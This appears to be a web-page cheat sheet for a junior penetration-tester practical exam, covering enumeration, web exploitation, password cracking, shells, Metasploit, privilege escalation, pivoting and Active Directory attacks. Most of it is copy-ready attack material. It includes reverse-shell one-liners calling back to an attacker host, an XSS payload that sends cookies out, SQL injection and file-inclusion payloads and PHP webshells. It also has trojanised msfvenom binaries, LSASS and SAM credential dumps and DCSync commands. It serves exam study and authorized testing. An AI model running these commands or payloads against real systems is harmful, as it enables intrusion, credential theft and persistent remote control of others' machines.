PT1 War Room
Jr Penetration Tester → PT1 field reference. Everything is a live host in a practical, notes-allowed exam — enumerate hard, don't rabbit-hole, and copy what you need. Hit / to search, tap any ⧉ to copy. Replace TARGET / LHOST / USER as you go.
no matches — try a shorter term
Exam Strategy & Workflow
▼The mindset that passes a practical exam: a repeatable loop, and a triage order that keeps you moving instead of rabbit-holing on one port.
The loop mindset
- Enumerate → foothold → stabilize → loot → privesc → repeat. Re-enumerate after every new access level.
- Full port scan first. Bugs live on the weird, high, forgotten ports — never scan only the top 1000.
- Note the version of every service → search it for a public exploit / CVE.
- Always try default & weak creds (admin:admin, root:root) before brute-forcing.
- Don't rabbit-hole. Stuck 20–30 min? Move to the next port/service and come back.
- Screenshot + log every command as you go — you need it for the report and to backtrack.
Fast triage order order
- 1.
nmap -sC -sV -p-→ catalogue ports - 2. Web (80/443/8080…) → dirbust + view source + default creds
- 3. SMB (445) →
enum4linux, null session, shares - 4. FTP (21) → anonymous login
- 5. Any login →
hydrawith a small list - 6. Foothold →
linpeas/winPEAS+sudo -l/whoami /priv
Recon & Enumeration
▼Before you attack anything, map the whole surface — every open port, service version, share, and hidden path. Most footholds live here, not on the homepage.
Nmap scan
quick + scripts + versionsnmap -sC -sV -oN scan.txt TARGETnmap -p- --min-rate 5000 TARGETnmap -sU --top-ports 50 TARGETnmap -A TARGET
nmap --script vuln TARGET-sС=default scripts · -Pn skips ping · -sV=versions.
Web directory / vhost fuzz
gobuster dirsgobuster dir -u http://TARGET \
-w /usr/share/wordlists/dirb/common.txt -x php,txt,htmlffuf -u http://TARGET/FUZZ -w wordlist.txtffuf -u http://TARGET -H "Host: FUZZ.target.thm" \
-w subs.txt -fs 0Also check /robots.txt, page source, JS files, comments.
DNS & subdomains osint
dig axfr @TARGET target.thm # zone xfer
dig +short target.thm
whois target.thm
nslookup -type=MX target.thmPassive: crt.sh, Shodan, GitHub commits. Don't attack the homepage first.
SMB / NFS shares
enum4linux -a TARGET
smbclient -L //TARGET/ -N # null session
smbmap -H TARGET
nxc smb TARGET -u '' -p '' --shares
showmount -e TARGET # NFS exportsService banners enum
whatweb http://TARGET
nc TARGET 21 # banner grab
telnet TARGET 25 # SMTP
snmpwalk -v2c -c public TARGET
ftp TARGET # try anonymousSearch for exploits cve
searchsploit "apache 2.4.49"
searchsploit -m 50383 # copy exploit locallyMap version → CVE. CVSS ≥7 = prioritise. Check exploit-db / GitHub PoC.
Web Exploitation
▼The web app is the most common way in. Work injection, file inclusion, upload, and logic flaws in order — and always tie a bug to real impact.
SQL Injection sqli
auth bypass (username field)' OR 1=1-- -
admin'-- -
' OR '1'='1' ORDER BY 3-- -
' UNION SELECT 1,2,3-- -
' UNION SELECT user,password,3 FROM users-- -sqlmap -u "http://TARGET/p?id=1" --dbs --batch
sqlmap -r req.txt --dump --level 5 --risk 3XSS xss
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>new Image().src='http://LHOST/c?'+document.cookie</script>Stored + privileged victim → session/cookie theft (impact = ATO). Contextualise: no cookie if token-based.
LFI / RFI lfi
path traversal?file=../../../../etc/passwd
?file=....//....//etc/passwd
?page=/etc/passwd%00php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==
?file=/var/log/apache2/access.log&c=id # UA=<?php system($_GET[c])?>Command injection rce
; id
| id
&& whoami
`id`
$(id)
127.0.0.1; bash -i >& /dev/tcp/LHOST/4444 0>&1Try each separator; blind → time-based ; sleep 5 or OOB to your listener.
File upload → shell upload
<?php system($_GET['cmd']); ?> # shell.php
shell.phtml / .php5 / .phar # ext bypass
shell.php%00.jpg # null byte
Content-Type: image/png # fake MIME
GIF89a; <?php ... ?> # magic bytesThen browse to it: /uploads/shell.php?cmd=id.
SSRF · IDOR · other logic
- SSRF → cloud metadata:
http://169.254.169.254/latest/meta-data/ - IDOR/BOLA → change
?id=1→2, swap UUIDs, other users' objects - Auth bypass → tamper role/isAdmin flag in request/JWT, remove sig (
alg:none) - XXE →
<!ENTITY x SYSTEM "file:///etc/passwd"> - CSRF → missing token on state-changing POST
Burp Suite
▼The proxy workflow behind manual web testing — intercept a request, replay it in Repeater, and tamper parameters, headers, and tokens.
Core tools workflow
- Proxy — intercept browser↔server (127.0.0.1:8080 + FoxyProxy)
- Repeater (Ctrl+R) — send & tweak single requests manually
- Intruder — fuzz a position (Sniper) across a wordlist
- Decoder — URL / base64 / hex encode-decode
- Comparer — diff two responses (blind SQLi/auth)
Exam moves tamper
- Right-click request → Send to Repeater, then edit params/headers/JSON body
- Flip
role=user→admin,verified=false→true - Change object IDs to test IDOR; strip cookies to test auth
- Turn Intercept off to browse, on to catch a specific request
- Proxy → HTTP history to map the app's API calls
Password Attacks
▼Turn a username or a captured hash into a working credential — spraying and brute-forcing online, or cracking offline.
Hydra online
hydra -l USER -P /usr/share/wordlists/rockyou.txt ssh://TARGET
hydra -L users.txt -P pass.txt ftp://TARGET
hydra TARGET http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid" -l admin -P rockyou.txtSpray, don't brute AD accounts (lockout). Check the failure string for http-form.
Hashcat offline
hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM
hashcat -m 5600 hash.txt rockyou.txt # NetNTLMv2
hashcat -m 13100 hash.txt rockyou.txt # Kerberoast TGS
hashcat hash.txt rockyou.txt -r rules/best64.ruleMode table in § Tables. Identify first: hashid / hash-identifier.
John the Ripper crack
john --wordlist=rockyou.txt hash.txt
john --format=NT hash.txt
unshadow passwd shadow > combined
zip2john file.zip > z.hash
ssh2john id_rsa > k.hashWordlist & hash tools gen
cewl http://TARGET -w words.txt # scrape site
crunch 6 8 -o list.txt
hashid '$1$...'
/usr/share/wordlists/rockyou.txt # the classicShells & Listeners
▼Get a shell, pair the right listener with each payload, then upgrade it to a stable, interactive — or encrypted — session.
Reverse vs Bind which?
Reverse — target connects back to your listener. Default choice: beats inbound firewalls / NAT on the target.
Bind — target listens, you connect in. Use when the target's outbound is blocked but an inbound port is reachable.
reverse — listen on attacker, run on targetnc -lvnp 4444 # attacker
nc LHOST 4444 -e /bin/bash # targetnc -lvnp 8080 -e /bin/bash # target
nc TARGET 8080 # attacker-lvnp = listen · verbose · numeric · port. rlwrap nc -lvnp 4444 adds history/arrows; no -e (OpenBSD nc)? use the mkfifo payload below. ncat (nmap) adds SSL/proxy.
📖 From THM Shells & Listeners Fundamentals.
Reverse shell payloads connect back
① listener — start on attacker FIRST, then fire a payloadnc -lvnp 4444 # catches every payload belowbash -i >& /dev/tcp/LHOST/4444 0>&1-e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST 4444 >/tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("LHOST",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$s.Write(([Text.Encoding]::ASCII).GetBytes($sb),0,$sb.Length)}"All four are plain TCP → the same nc -lvnp 4444 catches any of them. Match LHOST/port to your listener. More at revshells.com.
Listener ↔ payload pairing
The listener must speak the same transport as the payload. Start the listener first, then run the matching payload on the target.
| Payload on target | Listener on attacker |
|---|---|
| bash · nc · python · powershell (plain TCP) | nc -lvnp 4444 |
| socat … EXEC:"bash -li" | socat TCP-L:443 - |
| socat OPENSSL: … EXEC | socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 - |
| msfvenom …shell_reverse_tcp | nc -lvnp or multi/handler |
| msfvenom …meterpreter/* | multi/handler (same PAYLOAD) |
Gotcha: meterpreter payloads only connect back to multi/handler with the exact same PAYLOAD/LPORT set — a plain nc will catch the connection but the session dies.
Stabilize the shell tty
on attacker first — note your sizestty size # e.g. 50 220 (rows cols)python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# then Ctrl+Z to background
stty raw -echo; fg
# back in shell, apply your size:
stty rows 50 cols 220Term broken after exit? stty sane restores it; if blind, type reset + Enter. Prefix listener with rlwrap for history/arrows.
socat shells stable
reverseattacker: socat TCP-L:443 -
target: socat TCP:LHOST:443 EXEC:"bash -li"target: socat TCP-L:8088 EXEC:"bash -li"
attacker: socat TCP:TARGET:8088 -socat TCP:LHOST:443 EXEC:powershell.exe,pipesNot always pre-installed — transfer the socat binary first if missing.
Fully interactive socat TTY best
attacker: socat TCP-L:5555 FILE:`tty`,raw,echo=0
target: socat TCP:LHOST:5555 EXEC:"bash -li",pty,stderr,sigint,setsid,sanepty real terminal · stderr show errors · sigint Ctrl+C · setsid job control · sane defaults. As good as SSH — vim & Ctrl+Z work.
Encrypted shells (SSL) stealth
generate cert (once)openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pemattacker: socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 -
target: socat OPENSSL:LHOST:443,verify=0 EXEC:/bin/bashattacker: socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
target: socat OPENSSL:LHOST:443,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,saneTraffic blends in as HTTPS — use 443 / 8443 / 9443. verify=0 accepts the self-signed cert on both ends.
File transfer move
serve from attackerpython3 -m http.server 80
impacket-smbserver share . -smb2supportwget http://LHOST/linpeas.sh
curl http://LHOST/f -o f
certutil -urlcache -f http://LHOST/nc.exe nc.exe # windowsMetasploit & msfvenom
▼When a hand-built shell isn't enough: framework-driven exploitation, generating payloads with msfvenom, delivering them to the target, and Meterpreter post-exploitation.
msfconsole exploit
msfconsole -q
search TYPE:exploit apache
use exploit/...
set RHOSTS TARGET
set LHOST tun0
set LPORT 4444
runmsfvenom payloads generate
linux elfmsfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o s.elfmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o s.exemsfvenom -p php/reverse_php LHOST=tun0 LPORT=4444 -f raw -o s.phpCatch meterpreter with multi/handler. Meterpreter: getuid, hashdump, getsystem, background.
msfvenom anatomy generate
One tool to build a payload in any language/format. Payload name = <platform>/<arch>/<payload> e.g. linux/x86/meterpreter/reverse_tcp.
msfvenom -p PAYLOAD LHOST=tun0 LPORT=4444 -f FORMAT -o out.extmsfvenom --list payloads | grep linux | grep meterpreter
msfvenom --list formats
msfvenom --info windows/x64/shell/reverse_tcp # staged or stageless?-a arch · --platform OS · -p - reads a custom payload from stdin. Always set LHOST to your VPN/tunnel iface (tun0, or ens5 on the AttackBox) — the IP is baked into the payload.
📖 From THM Shell Payload Generation & Delivery.
Staged vs Stageless read the name
The separator before reverse_tcp tells you the type — and which listener will actually work.
windows/x64/shell_reverse_tcp # whole shell in one shotwindows/x64/shell/reverse_tcp
windows/x64/meterpreter/reverse_tcpStageless (shell_reverse_tcp) = bigger, more reliable on flaky links, and a plain nc -lvnp catches it. Staged (shell/reverse_tcp) = tiny first stage that downloads the payload from your handler → needs multi/handler with the exact same PAYLOAD; a bare nc catches the stager but the session never forms. Meterpreter follows the same rule: meterpreter/reverse_tcp (staged) vs meterpreter_reverse_tcp (stageless). The _// tell isn't universal — msfvenom --info confirms it.
Output formats -f
Same payload, different wrapper — pick the format the target will actually run.
executables-f exe -o s.exe # windows
-f elf -o s.elf # linux (chmod +x)
-f macho -o s.macho-f dll -o s.dll # sideload / inject-f aspx / jsp / war # IIS / java app servers
-f raw -o s.php # php (prepend <?php if absent)
-f psh -o s.ps1 # powershell-f c # C buffer
-f python # py buf
-f hexEncoders & bad chars encode
encode N times (-i = iterations)msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 \
-e x64/xor -i 3 -f exe -o s.exemsfvenom -p ... -b '\x00\x0a\x0d' -f cmsfvenom -p ... -x putty.exe -k -f exe -o evil.exeEncoding is not reliable AV evasion anymore (the stubs are signatured) — its real job is to remove bad chars (e.g. \x00) so shellcode survives an exploit. -x+-k binds the payload to a legit binary that still runs.
multi/handler catch staged
The only listener that speaks the staging/Meterpreter protocol. PAYLOAD, LHOST, LPORT must match the payload exactly — a shell/reverse_tcp handler won't catch a shell_reverse_tcp payload.
msfconsole -q
use multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST tun0
set LPORT 4444
exploit -j # -j = background jobsessions # list
sessions -i 1 # interact with session 1
jobs # list running handlersCtrl+Z / background drops a session to the console. Ports <1024 need sudo. LHOST must be the interface IP, never 0.0.0.0. Payload fires but nothing lands? → check PAYLOAD/LHOST/LPORT match + firewall on LPORT.
Webshells over http
Server-side script that runs commands via HTTP — the move when a file-upload exists or outbound shells are firewalled (traffic looks like normal web).
minimal php —?cmd=
<?php echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; ?>http://TARGET/uploads/shell.php?cmd=id # POST var is quieter in logs/usr/share/webshells/php/php-reverse-shell.php # PentestMonkey — edit $ip/$port
# .aspx → IIS/ASP.NET · .jsp/.war → java app serverscurl "http://TARGET/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'"Catch it on nc -lvnp 4444 (start it first). curl URL-encodes for you; in a browser the payload must be URL-encoded or spaces/>/& truncate it. Clean up the webshell after — never leave a backdoor in production.
Privilege Escalation — Linux
▼From a foothold to root — enumerate the box, spot the one misconfiguration or SUID binary that matters, and exploit it (GTFOBins).
Enumerate scan
./linpeas.sh
sudo -l # run-as-root rights
id; whoami; groups
uname -a; cat /etc/os-release # kernel exploit?
find / -perm -4000 2>/dev/null # SUID
getcap -r / 2>/dev/null # capabilities
crontab -l; cat /etc/crontab
history; envCommon wins escalate
- sudo entry → check GTFOBins for the binary
- SUID binary → GTFOBins
-p/ SUID method - Writable
/etc/passwd→ add root user w/ known hash - Cron running writable script → inject reverse shell
- Capabilities
cap_setuid+epon python/perl → uid 0 - Sudo versions / kernel → known CVE (PwnKit, DirtyPipe)
GTFOBins field recipes gtfobins
From sudo -l or find / -perm -4000: match the binary below, or look it up at gtfobins.github.io. -p on a SUID binary preserves root's euid. Overwrite-passwd hash = openssl passwd 'pass'.
sudo find / -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN{system("/bin/sh")}'
sudo env /bin/sh
sudo less /etc/profile # then !/bin/sh
sudo python3 -c 'import os;os.system("/bin/sh")'bash -p
./find . -exec /bin/sh -p \; -quit
./python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
./perl -e 'use POSIX qw(setuid);setuid(0);exec"/bin/sh";'sudo cat /etc/shadow
sudo base64 /etc/shadow | base64 -d
sudo xxd /etc/shadow | xxd -r
sudo openssl enc -in /etc/shadowecho 'r00t:$1$a$HASH:0:0::/root:/bin/bash' | sudo tee -a /etc/passwd
sudo cp payload /etc/passwd # if cp is the entry
echo KEY | sudo dd of=/root/.ssh/authorized_keyssudo nmap --interactive # nmap <5.20, then !sh
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sudo systemctl link /tmp/x.service
sudo gdb -nx -ex '!sh' -ex quit
sudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=shsudo git -p help config # then !/bin/sh
sudo man man # then !/bin/sh
sudo ftp # then !/bin/sh
sudo ed # then !/bin/sh| Binary | Escape (sudo / SUID) |
|---|---|
| bash / sh | bash -p · sudo bash |
| find | -exec /bin/sh -p \; -quit |
| vim / vi | -c ':!/bin/sh' or :py |
| nano | ^R^X → reset; sh 1>&0 2>&0 |
| less / more / man | !/bin/sh |
| awk | 'BEGIN{system("/bin/sh")}' |
| sed | -n '1e exec sh 1>&0' f |
| python / perl / ruby / lua / node | spawn /bin/sh (setuid(0) if SUID) |
| env | env /bin/sh |
| tar | --checkpoint-action=exec=sh |
| zip | zip x.zip x -T -TT 'sh #' |
| nmap | --interactive → !sh (v<5.20) |
| cp / tee / dd | overwrite /etc/passwd |
| systemctl | link a malicious .service |
| docker / lxc | chroot the mounted host FS |
| gdb | -ex '!sh' -ex quit |
| socat | socat stdin exec:/bin/sh |
Privilege Escalation — Windows
▼From a user shell to SYSTEM — abuse privileges, weak service permissions, and signed living-off-the-land binaries (LOLBAS).
Enumerate scan
.\winPEASx64.exe
whoami /priv # dangerous privs
whoami /all
systeminfo # patch level → CVE
net user; net localgroup administrators
powershell -ep bypass; . .\PowerUp.ps1; Invoke-AllChecksCommon wins escalate
- SeImpersonate/SeAssign → Potato attack (JuicyPotato / PrintSpoofer) → SYSTEM
- Unquoted service path w/ writable dir → plant exe
- Weak service perms (
accesschk) → change binPath - AlwaysInstallElevated → malicious
.msi - Stored creds —
cmdkey /list, unattend.xml, registry - Unpatched → PrintNightmare / kernel exploit
Service / SYSTEM recipes
PrintSpoofer64.exe -i -c cmd
accesschk.exe -uwcqv user svc
sc config svc binPath= "cmd /c net user h h /add" && sc start svc
msiexec /quiet /i evil.msiLOLBAS field recipes lolbas
Living-off-the-land: signed Windows binaries abused to download, execute, dump or copy — often past AV / app-whitelisting. Full DB: lolbas-project.github.io.
certutil -urlcache -split -f http://LHOST/nc.exe nc.exe
bitsadmin /transfer j http://LHOST/f.exe C:\f.exe
powershell -c "iwr http://LHOST/f.exe -o f.exe"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/f.exe','f.exe')"
curl.exe http://LHOST/f.exe -o f.exerundll32 shell32.dll,Control_RunDLL evil.dll
regsvr32 /s /n /u /i:http://LHOST/x.sct scrobj.dll
mshta http://LHOST/x.hta
msbuild.exe evil.xml # inline C# task
InstallUtil /logfile= /LogToConsole=false /U evil.dll
wmic process call create "cmd.exe /c calc"certutil -encode f.exe f.b64
certutil -decode f.b64 f.exe
type nc.exe > C:\ads.txt:nc.exe # alt data stream
esentutl /y src.db /d C:\out.db /o
expand \\LHOST\s\f.cab C:\f.exereg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM sys.hive
reg save HKLM\SECURITY sec.hive
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump <LSASS_PID> C:\l.dmp full
vssadmin create shadow /for=C: # then copy NTDS.ditfindstr /si password *.txt *.ini *.config *.xml
cmdkey /list # stored creds
dir /s /b *pass* *cred* 2>nul
reg query HKLM /f password /t REG_SZ /sschtasks /create /sc minute /mo 1 /tn u /tr C:\f.exe
forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc"
pcalua.exe -a C:\f.exe| Binary | LOLBAS use |
|---|---|
| certutil | download · base64 encode / decode |
| bitsadmin | download / background transfer |
| powershell / iwr | download · execute |
| mshta | run remote .hta (JS/VBS) |
| regsvr32 | remote .sct exec (Squiblydoo) |
| rundll32 | run DLL · comsvcs LSASS dump |
| msbuild | compile + run inline C# |
| InstallUtil | exec via /U uninstall |
| wmic | local / remote process create |
| msiexec | install remote .msi (AlwaysInstallElevated) |
| reg | save SAM / SYSTEM / SECURITY hives |
| comsvcs.dll | MiniDump LSASS → creds |
| vssadmin / esentutl | shadow copy · copy locked NTDS.dit / SAM |
| findstr / cmdkey | search files / list stored creds |
| schtasks / at | scheduled-task persistence |
| forfiles / pcalua | proxy execution |
Pivoting & Tunneling
▼Reach networks you can't touch directly by tunnelling through the host you already own — port-forwards, SOCKS proxies, and full tun routes.
SSH port forwarding ssh
local (-L) → reach a service behind the pivotssh -L 8080:10.10.20.5:80 user@PIVOTssh -R 3389:10.10.20.5:3389 user@ATTACKERssh -fN -D 1080 user@PIVOT-fN = background, no shell. Pair -D with proxychains.
proxychains + SOCKS route
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
proxychains nmap -sT -Pn 10.10.20.5
proxychains nxc smb 10.10.20.0/24
proxychains evil-winrm -i 10.10.20.5 -u u -p pUse -sT (full connect) through a proxy — SYN/UDP scans won't traverse it.
chisel http tunnel
attacker (server)./chisel server -p 8000 --reverse./chisel client ATTACKER:8000 R:socks./chisel client ATTACKER:8000 R:3389:10.10.20.5:3389Tunnels over HTTP → firewall-friendly when only 80/443 is out.
ligolo-ng tun
attacker — set up interface + proxysudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert./agent -connect ATTACKER:11601
sudo ip route add 10.10.20.0/24 dev ligolo # then: startWhole-subnet routing via a tun iface — no proxychains needed, tools work natively.
sshuttle · socat · meterpreter misc
sshuttle -r user@PIVOT 10.10.20.0/24 # VPN-like, no proxychains
socat TCP-LISTEN:8080,fork TCP:10.10.20.5:80 # simple relay
plink.exe -R 3389:127.0.0.1:3389 u@ATTACKER # windows -R
run autoroute -s 10.10.20.0/24 # meterpreter
portfwd add -l 3389 -p 3389 -r 10.10.20.5| Tool | Use |
|---|---|
| ssh -L / -R / -D | local / remote / dynamic (SOCKS) forward |
| proxychains | route any TCP tool through a SOCKS proxy |
| chisel | SOCKS / port-fwd over HTTP — firewall-friendly |
| ligolo-ng | tun interface, whole subnet, no proxychains |
| sshuttle | transparent "VPN" over ssh (Linux pivot) |
| socat / plink | quick relay · Windows reverse forward |
| meterpreter | autoroute + portfwd + socks_proxy |
Active Directory
▼Breach, enumerate, and move through a Windows domain — from first credential to Domain Admin via Kerberos and credential reuse.
Breach — first creds initial
kerbrute userenum -d DOMAIN --dc DC-IP users.txt
nxc smb DC-IP -u users.txt -p 'Season2025!' --continue-on-success
nxc smb DC-IP -u USER -p PASS --pass-pol # lockout policy
responder -I tun0 # capture NetNTLMv2Kerbrute enum = no lockouts. Spray one password across many users.
Enumerate map
runas.exe /netonly /user:DOMAIN\USER cmd.exe
net user /domain; net group "Domain Admins" /domain
Get-ADUser -Filter * -Server DOMAIN -Properties *
SharpHound.exe -c All -d DOMAIN --ExcludeDCsLoad ZIP into BloodHound → "Shortest paths to Domain Admins".
Kerberos attacks tickets
impacket-GetUserSPNs -request DOMAIN/USER:PASS # Kerberoast → -m 13100
impacket-GetNPUsers DOMAIN/ -usersfile u.txt -no-pass # AS-REP → -m 18200
impacket-secretsdump DOMAIN/USER@DC -just-dc # DCSync (needs rights)Lateral movement move
evil-winrm -i HOST -u USER -H NTLM_HASH # pass-the-hash
impacket-psexec DOMAIN/USER@HOST -hashes :NTLM
impacket-wmiexec DOMAIN/USER@HOST -hashes :NTLM # stealthier
nxc smb HOST -u USER -H NTLM # spray hashHarvest: mimikatz # sekurlsa::logonpasswords. Golden ticket needs krbtgt hash.
Reference Tables
▼Fast lookups you'll reach for mid-exam: common ports, Hashcat modes, Windows event IDs, and the framework acronyms.
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | anon login, banners |
| 22 | SSH | brute, key reuse |
| 25 | SMTP | user enum VRFY |
| 53 | DNS | zone transfer |
| 80/443 | HTTP(S) | web attack surface |
| 88 | Kerberos | AD, roasting |
| 135/139/445 | RPC/SMB | shares, PtH, EternalBlue |
| 389/636 | LDAP(S) | AD queries |
| 1433 | MSSQL | xp_cmdshell |
| 3306 | MySQL | creds, UDF |
| 3389 | RDP | spray, BlueKeep |
| 5985/5986 | WinRM | evil-winrm |
| -m | Hash |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA-256 |
| 1700 | SHA-512 |
| 1800 | sha512crypt $6$ |
| 500 | md5crypt $1$ |
| 3200 | bcrypt $2*$ |
| 1000 | NTLM |
| 5500 | NetNTLMv1 |
| 5600 | NetNTLMv2 |
| 13100 | Kerberoast (TGS) |
| 18200 | AS-REP Roast |
| 22000 | WPA-PBKDF2 |
| ID | Meaning |
|---|---|
| 4624 | Successful logon |
| 4625 | Failed logon (brute-force) |
| 4672 | Special privileges assigned |
| 4688 | New process created |
| 4720 | User account created |
| 4732 | Member added to group |
| 4768 | TGT requested (AS-REQ) |
| 4769 | Service ticket (Kerberoast) |
| 7045 | New service (PsExec/malware) |
| 1102 | Audit log cleared |
| Name | Meaning |
|---|---|
| STRIDE | Spoofing, Tampering, Repudiation, Info-disclosure, DoS, Elevation |
| DREAD | Damage, Reproducibility, Exploitability, Affected, Discoverability |
| PASTA | 7-step risk-centric threat model |
| CIA | Confidentiality, Integrity, Availability |
| NIST IR | Prep → Detect&Analyse → Contain/Eradicate/Recover → Post |
| SANS | PICERL: Prep, Identify, Contain, Eradicate, Recover, Lessons |
| Pyramid | hash<IP<domain<artifact<tool<TTP (of Pain) |
Methodology & Reporting
▼Turn findings into a defensible report — impact first, severity rated in isolation, remediation aimed at the root cause.
Report structure deliver
- Summary (business + security) — write it last
- Vulnerability write-ups (technical, 70–90%): Title · Risk (CVSS) · Summary · Background · Evidence · Impact · Remediation (root cause) · Refs
- Appendices — scope coverage · artefacts left behind (for blue team cleanup)
- Rate each finding in isolation; remediation fixes the root cause (SQLi → parameterisation)
Style & re-testing quality
- Past tense · no first-person · objective · mask secrets · peer QA
- Re-test = findings only; reassessment = full surface (needs new SOW)
- Outcomes: Pass / Fail / Partial / Risk-Accepted
- Test variant payloads, not just the original PoC — blocked string ≠ fixed root cause
- New surface found → separate memo, don't test without written auth